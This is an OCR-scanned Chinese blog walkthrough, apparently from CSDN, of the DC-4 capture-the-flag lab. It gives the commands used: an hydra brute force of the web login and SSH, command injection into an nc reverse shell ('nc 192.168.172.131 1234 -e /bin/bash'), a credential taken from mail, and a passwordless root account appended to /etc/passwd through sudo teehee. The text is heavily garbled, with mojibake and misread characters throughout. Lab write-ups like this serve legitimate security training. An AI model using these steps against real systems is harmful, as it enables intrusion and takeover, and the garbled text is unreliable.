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Debian GNU-Linux 9 dc-4 ttyl

dc—4 login:

fEkali BB MLBEAT MR, SREEENLEIIP#lE, 48 FH T Earp-scansi# nmap#F A LA

-~

Inter the, type: EN1GMB, MAC: 00:0c:29:5d:94:91, IPv4: 192.168.172.131
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.172.1 00:50:56:c0:00:08 VMware, Inc.
192 168 172 2 AR - 5A - *fr-0f:-p8 VMware _Tnc

.172.144 00:0c:29:42:ea: VMware, Inc.

S TIT 2 i OeTSeTS0TeST29T VHiware,; Lic.

4 packets received filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.976 seconds (129.55 hosts/sec). 4 responded

e o~

nmap 192.168.172.1/24
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-85 21:58 CST
Nmap scan report for 192.168.172.1
Host is up (0.00060s latency).
Mot shown: 993 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
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?Gﬂﬁltcp open afs3-fileserver
8000/tcp open http-alt
MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.172.2
Host is up (0.000057s latency).

Mot shown: 999 closed ports

PORT  STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:FC:96:E8 (VMware)

Nmap scan report for 192.168.172.144

Host is up (0.00050s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE

22/tcp open ssh

80/tcp open http )

MAC Address: 00:0C:29:42:EA:01 (VMware) CSDN @EEITHT L{f

EE: WERAATENP, NFEBHENPMERE, SEX

Z hitps://blog.csdn.net/qq_45722813/article/details/121324686

RIVEEHIPHINEA192.168.172.144, BLAEME F nmap A #EENL I B R G A0 O UL R AHR RS, 74 nmap -T4 -A -p-
192.168.172.144

@ -—

nma 192.168.172.144
Startlng Nmap 7.91 ( https://nmap.org ) at 2021-12-85 22:02 CST
Nmap scan report for 192.168.172.144
Host is up (0.00072s latency).
Not shown: 65533 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4pl Debian 10+deb9ué (protocol 2.0)
| ssh-hostkey:
| 2048 8d:60:57:00:6c:27:e0:2T:70:2c:eb:42:c0:01:ba:25 (RSA)
| 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:57:79:67:8e2:19:30 (ECDSA)
| 256 fd:39:47:8a:5e:58:33:99:73:73:09e:22:77:90:4f:4b (ED25519)
80/tcp open http nginx 1.15.10
| http-server-header: nginx/1.15.16
| _http-title: System Tools
MAC Address: 00:0C:29:42:EA:01 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
0S CPE: cpe:/o:linux:linux kernel:3 cpe:/o:linux:linux kernel:4
0S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

TRACEROUTE
HOP RTT ADDRESS
1 .71 ms 192.168.172.144

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 10.16 seconds

- ® » CSDN @EEITITLAf
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Admin Information Systems Login

Username:

Password:

Submit

CEONNS =i

e )

R—Aadminf &R 5 H, HAtH2#MEH, KRASQUEN, HEEH2MH, REHEFRIEMEEE, RAEMhydraT Bk
TR

Jusr/share/wordlists
_admin /usrfshare!wordllstsfrock ou.txt.gz 192.168.172.144 http-post-form "/

Hyd va.1 (c) 2020 by van Hauser/THC & Dav1d Maciejak - Please do not use in military or secret ser

vice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics a
nyway) .

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-05 22:24:38
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (1:1/p: 14344399}, ~896525 t
ries per task
[DATA] attacking http-post-form://192.168.172.144:80/1login.php:username="USER"&password="PAS5™:5=1log
out
b [80] [http-post-form] host: 192.168.172.144 login: admin password: happy
[STATUS] attack finished for 192.168.172.144 (valid pair found)
b 1 of 1 target successtully completed, 1 valid password found
| Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-05 22:24:51

2 /usr/share/wordlists CSDN @EFITIT L{F

B Eladminik S 1%L Ahappy, fEadminfE F AT B, KIAIMET AT AHBATIAN A FH HIa4

System Tools - Command X+

&« C @ © & 192.168.172.144/command.phy B -- b ¥ N o

o KaliLinux % Kali Training % Kali Tools & Kali Forums # KaliDocs e NetHunter Offensive Security MSFU

You are currently logged in

Run Command:

O List Files
Disk Usage
Disk Free

Run




You have selected: Is -

total 24

-MW-r--r-- 1root root 1783 Apr 5 2019 command. php
drwxr-xr-x 2 root root 4096 Mar 24 2819 css
drwxr-xr-x 2 root root 4096 Mar 24 2019 images
-MW-r--r-- 1root root 506 Apr 6 2819 index.php
-rwW-r--r-- 1root root 1473 Apr 7 2019 login.php
-MW-r--r-- 1root root 663 Mar 24 2019 Llogout.php

Eeturn to the menu.

CSON @i HE]f

B e

Bt ASRATT AT AR AT AR R Ay @ AT By, (8 Al burpsuite 24T A A &

Burp  Project Intruder Repeater Window Help

Sequencer Deceder Comparer Logger Extender Project options User options Learn
Dashboard Target Xy Intruder Repeater

HTTP histery WebSockets histery Cpticns

&7 Requestto http://192.168.172.144:80

| Forward || Drop [l Interceptison | Action || OpenBrowser Comment this item | <  HTTPM |

BEI Hex \n =

=

POST fcommand . php HTTP/1.1

Host: 192,.168.172.144

Content-Length: 22

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.172.144

Content-Type: applications/x-www-form-urlencoded

5 User-Agent: Mozilla/S5. 0 (Windows NT 10.0; Wing4; x64) AppleWebKit /537,36 (KHTML, 1ike Geckeo) Chrome/92.0. 4515 .159 Safari/537.36

S Accept:
text/html,application/xhtml+xml,application/xml ;q=0.9,image/avif, image /webp, image /apng, */*;q=0.8, application/signed-exchange
sv=h3;9=0.9

10 Referer: http://192,168.172.144/command . php

11 Accept-Encoding: gzip. deflate

12 Accept-Language: zh-CN,zh:g=0.9

13 Cookie: PHPSESSID=q200663aiue931caBh59g6hu0s

14 Connection: close

15

16 radio=ls+-1&submit=Run

- W I W R

AT ABE ey &8 R Hishell i) fr 4, BREEKaliHL#EAT BT

Xt mff wiE ET B

@ —
C 234
listening on [any] 1234




KR KIS B Sinc [ #shellfyr 4 radio=nc 192.168.172.131 -e /bin/bash&submit=Run , X H]IP&FkaliHLiKIIP

Burp Suite Community Edition v2021.8.2 - Temporary Project

Burp  Project Intruder Repeater Window Help
Sequencer Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target X Intruder Repeater
HTTP history WebSockets history Options

£ Request to http://192.168.172.144:80

| Forward I Drop ll Interceptison i Action || ©OpenBrowser Comment this item |\k}' HTTP/1 IG
Pretty m Hex n =

1 POST fcommand . php HTTP/1.1
2 Hest: 192.168.172.144

2 Content-Length: 22

4 Cache-Control: max-age=0
=4

-

» Upgrade-Insecure-Requests: 1
5 Origin: http://192,168.172.144
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) ApplewebKit /537,36 (KHTML, 1ike Gecko) Chrome,/92.0.4515.159 Safari/537.36
S Accept:
text/html,application/xhtml+xml, application/xml;g=0.9, image/avif,1mage/webp,image/apng, ¥*/¥;g=0.8,application/signed-exchange
sv=h3;g=0.9
10 Referer: http://192.168.172.144/command . php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh:;g=0.9
13 Cookie: PHPSESSID=q200663aius931cE6b59gEhudE
14 Connection: close
15
1€I radio=nc 192,168.172.131 1234 -& /bin/bash&submit=Run| I

HAIDIASK

CSDN .";:_[_l-_-:{:_::{. I'J'_r_’

— = —

5 K [Forward] $47dr4, TILLE Elkalitll D& EHE R

root @ kali: ~

Xttt ife wiE ET HEn

e -—
C 234
listening on [any] 1234
192.168.172.144: inverse host lookup failed: Unknown host
connect to [192.168.172.131] from (UNKNOWN) [192.168.172.144] 57924
1s

command . php
€SS

images
index.php
login.php
iogout.php

f# 4 python -c "import pty; pty.spawn('/bin/bash')" KB —/N32 H HKshell

python -c "import pty; pty.spawn('/bin/bash')"
www-data@dc-4:/usr/share/nginx/html$ 1s
1s

command.php css images index.php login.php Tlogout.php
www-data@dc-4: fusr/share/nginx/htmls [j

BAER—E—EMEZA B REF




www-data@dc-4:/usr/share/nginx/html$ cd ..
ed s
www-data@dc-4:/usr/share/nginx$ 1s

dh-python ispell pixmaps

dict java pkgconfig
adduser dictionaries-common keyrings polkit-1
applications discover libc-bin pyshared
apport distro-info lintian python
apps doc locale python-apt
apt-listchanges doc-base man python3
base-files dpkg man-db readline
base-passwd emacs menu reportbug
bash-completion eximd misc sgml
binfmts file mysql-common sgml-base
bsd-mailx gcc-6 nano systemd
bug gdb nginx tabset
build-essential gnupg openssh tasksel
ca-certificates groff os-prober terminfo
calendar grub pam tools
common-licenses guile pam-configs upstart
console-setup il8n perl vim
consolefonts icons perls xml
consoletrans info php xml-core
dbus-1 initramfs-tools php7.0-common zoneinfo
debconf installation-report php7.0-json zsh
debhelper iptables php7.0-opcache
debianutils iso-codes php7.0-readline
www-data@dc-4:/usr/share$ cd ..
cd ..
www-data@dc-4:/usr$ 1s
1s )
bin games include 1ib 1local sbin share src CSDN @EEITHTL{F

Bk ArootH FEREERR, FUBEAhomeHREE, KI34H Fcharles, jimflsam

www-data@dc-4:/% 1s

1s

bin etc initrd.img.old media proc sbin tmp wvmlinuz
boot home lib mnt root srv usr vmlinuz.old
dev dinitrd.img lost+found opt run  sys var
www-data@dc-4:/% cd root

cd root

bash: cd: root: Permission denied

www-data@dc-4:/% cd home

cd home

www-data@dc-4:/home$ 1s

1s

charles jim sam

www-data@dc-4:/homes | CSDN @EFITHFT T {F

HANENEFREE, REIMPERZRTRAT —NEFMHEA M, 3 AbackupsB %, RIT —Aold-passwords.bak3C {4

www-data@dc-4:/home$ 1s

1s

charles jim sam
www-data@dc-4:/home$ cd charles
cd charles
www-data@dc-4:/home/charles$ 1s
1s

www-data@dc-4:/home/charles$ cd ..
cd ..




www-data@dc-4: /home/jimé 1s

1s

backups mbox test.sh

www-data@dc-4:/home/jim$ cd backups

cd backups

whiat-data@de-A: fhome/liim/backups$ 1s

1s

old-passwords.bak

wvw—tatadde—d-themei3m/backupss cd ..

cd ..

www-data@dc-4:/home/jimé cd mbox

cd mbox

bash: cd: mbox: Not a directory

www-data@dc-4:/home/jim$ 1s -1

1s -1

total 12

drwxr-xr-x 2 jim jim 4096 Apr 7 2019 backups
1 jim jim 528 Apr 6 2019 mbox

-rwsrwxrwx 1 jim jim 174 Apr 6 2019 test.sh

www-data@dc-4: /home/jimé cd ..

cd ..

www-data@dc-4:/home$ cd sam

cd sam

www-data@dc-4: /home/sam$ 1s

1s

www-data@dc-4:/home/sams [

rainbowl
| angell23
popcorn
barbara
brandy
starwarsl
barney
natalia
jibrilof
hiphop
tiffanyl
shorty
poohbearl
simone
albert
marlboro
hardcore
cowboys
sydney
alex
scorpio
1234512345
ql2345
qql23456
onelove
bond@@7
abcdefgl
eagles
crystall
azertyuiop
winter
sexyl2

CSDN @747 AT




svetlana
fatima
| 123456k
. icecream
popcornl i
"old-passwords.txt" 252L, 2047B CSDN @ HITHT T {F

Fﬁﬁﬁiﬁﬁ’]iﬁﬂ)ﬁjlmﬂ@}i‘ 1TsshB F /&M, 74 hydra -1 jim -P old-passwords.txt -t 6 ssh://192.168.172.144

@ —
wydra jim old-passwords. txt 6 ssh://192.168.172.144
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret ser
vice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics a
nyway) .

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-85 23:55:45

[DATA] max 6 tasks per 1 server, overall 6 tasks, 252 login tries (l:1/p:252), -42 tries per task
[DATA] attacking ssh://192.168.172.144:22/

[STATUS] 66.00 tries/min, 66 tries in 00:01h, 186 to do in 00:03h, 6 active

[STATUS] 48.33 tries/min, 145 tries in 00:03h, 107 to do in @0:03h, 6 active

[STATUS] 46.50 tries/min, 186 tries in 00:04h, 66 to do in 00:02h, 6 active

[22]1[ssh] host: 192.168.172.144 1login: jim password: jibrilo4

[STATUS] 50.40 tries/min, 252 tries in 00:05h, 1 to do in 00:01h, 4 active

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-06 00:00:45

® - CSDN @ XKITIT LAf

IR D, %Tﬂéﬁﬂiﬂi)ﬂzjimﬂ%ﬁ%jibnoﬁ&ﬁssh_’éf&, BAMIRIBET R, #R7R192.168.172. 144 EHZEHATEN, &
CIEREHIE . EVEHRIEERK. ", A, RIVBAGS ssh-keygen -R "SEHLIP" , HEIRANTIEH LUV REX TR
RS BHEZFEMFERER, REEHsshE AT

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The Tingerprint for the ECDSA key sent by the remote host is
SHA256:vtcgdCX04d3KmnjiIIkH1Een5F1AiSx3qpOABgwdvww.
Please contact your system administrator.
Add correct host key in /root/.ssh/known hosts to get rid of this message.
Offending ECDSA key in /root/.ssh/known hosts:3

remove with:

ssh-keygen - "/root/.ssh/known _hosts" -R "192.168.172.144"
Host key for 192.168.172.144 has changed and you have requested strict checking.
Host key verification failed.

-

ssh-keyge "192.168.172.144"

# Host 192.168.172.144 found: line 3
/root/.ssh/known hosts updated.

Original contents retained as /root/.ssh/known hosts.old

e —

ssh jim@l192.168.172.144
The authenticity of host '192.168.172.144 (192.168.172.144)' can't be established.
ED25519 key fingerprint is SHA256:0CH/AiSnTSSmNwRAHTnnLhx95MTRyszFXqzT@3sUJkk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.172.144' (ED25519) to the 1list of known hosts.
]1m@192 168 1?2 144'5 password




The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

| You have mail.
Last login: Sun Apr 7 02:23:55 2019 from 192.168.0.100

Jingde-4:-$ CSDN @R EITT (7

FTHFimE F T HmboxXCHEE, X2&—H K EHroof R4

g

jim@dc-4:-% 1s

mbox test.sh
jim@dc-4:~-$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4-
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)

(envelope-from <root@dc-4=)

id 1hCiQe-00@6gc-EC

for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <ElhCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

jim@dc-4:~$ | CSDN @EEITHTIT{F

WG HjimER e H REE, T var/mailjim3X 4k &k B T B/ Charles %5

jim@dc-4: $ 1s
jim
jim@dc-4: $ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: =charles@dc-4=>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000k0-0Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000k0-Qt@dc-4=>
From: Charles =charles@dc-4=
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just i
n case anything goes wrong.

Password is:| “xHhA&hvim@y




See ya
Charles

jim@dc-4:

BIh Yl A Elcharles

jim@dc-4: ¢ su charles
Password
charles@dc-4: N |

i BRI SIS SEAREEEE A Bahatir Ctrl+G

BT RTERIABR, HheBEsudRA, ERIFBREE W UUFIH K64

¢ find / -perm -u=s -type T 2>/dev/null
fusr/bin/gpasswd
Jusr/bin/chfn
/usr/bin/sudo
Jusr/bin/chsh
fusr/bin/newgrp
fusr/bin/passwd
fusr/lib/eject/dmcrypt-get-device
fusr/lib/openssh/ssh-keysign
fusr/lib/dbus-1.08/dbus-daemon-launch-helper
Jusr/sbin/eximd
/bin/mount
/bin/umount
/bin/su
/bin/ping
/home/jim/test.sh
charles@dc-4: s

SRJE F5 e sudode i, RILH P AT BAAS TR B N\ 535 B AT Lhrootti IR $14T teehee iy &

charles@dc-4: $ sudo -1
Matching Defaults entries for charles on dc-4:
env_reset, mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
(root) NOPASSWD: /fusr/bin/teehee
charles@dc-4: s

teeheefr &K M Ftee, FTREUARHERMANEIE, HH AR L B0, BrARATA DU Ateehee iy &4 — /N B HE LI A
admin5 A\ El/etc/passwd3C 91, %A P B rootél

- $ echo "admin::8:0:::/bin/bash” | sudo teehee -a /etc/passwd
: :/bin/bash
- ¢ cat /etc/passwd
; 0: root froot:/bin/bash
daemon ¥:1:1:daemon:/usr/sbhin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3: syq ;dev Jusr/sbin/nologin
qwn[ : /bin:/bin/sync
-5 60 ga mes.fusrfgames:fusrfsbinfnologin
2:man:/var/cache/man: /usr/sbin/nologin
? 1p fvar/spool/lpd:/usr/sbin/nologin
:8:8:mail:/var/mail:/usr/shin/nologin
:9:9:news: /var/spool/news: /usr/shin/nologin
10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
: 3:proxy:/bin:/usr/sbin/nologin




www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/shin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:183:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

messagebus:x:105:109:: /var/run/dbus:/bin/false
sshd:x:106:65534: :/run/sshd: fusr/sbin/nologin

nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash

jim:x:1002:1002:Jim,,, :/home/jim:/bin/bash

sam:x:1003:1003:5am, ,, : /home/sam: /bin/bash
Debian-exim:x:108:112::/var/spool/eximd:/bin/false

admin::0:0:::/bin/bash i
charles@dc-4: N | CSDN @& HITHT T 4T

WG R BBV Badminf P 5 & rooth R T

charles@dc-4: ¢ su admin
root@dc-4:/var/mail# whoami

root

root@dc-4:/var/mail# s

jim

)5 A T EBF 2 /root H 3 T HL AT LAE Blflag LRI A T

root@dc-4:/var/mail# cd ..

root@dc-4:/var# cd ..

root@dc-4:/# 1s

bin dev home initrd.img.old 1lost+found mnt proc run srv tmp var vmlinuz.old
boot etc initrd.img 1lib media opt root shin sys usr wvmlinuz
root@dc-4:/# /root

bash: /root: Is a directory

root@dc-4:/# cd /root

reet@de—d-+ root# 1s

Tlag.txt

Foot@ac-4:/root# cat flag.txt

888 888 888 8888888b. 888
888 o 888 888 888 "Y88b 888
888 d8b 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 .d88b. 88888b. .d88b. 888
888d88888b88E d8P Y8b 888 888 888 d88""88b 888 "88b d8P Y8b 888
88888P Y88888 88888888 888 888 888 888 0888 888 888 88888888 Y8P
8888P Y8888 Y8b. 888 888 .d88P Y88..88P 888 8838 Y8b. !

888P Y888 "Y8B888 888 8888888P" "Y88P" 888 888 "Y8B888 888

Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little

challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.
root@dc-4:/root# i CSDN @ EITHT T4F

SE YL E: htip://cn-sec.com/archives/379433.html
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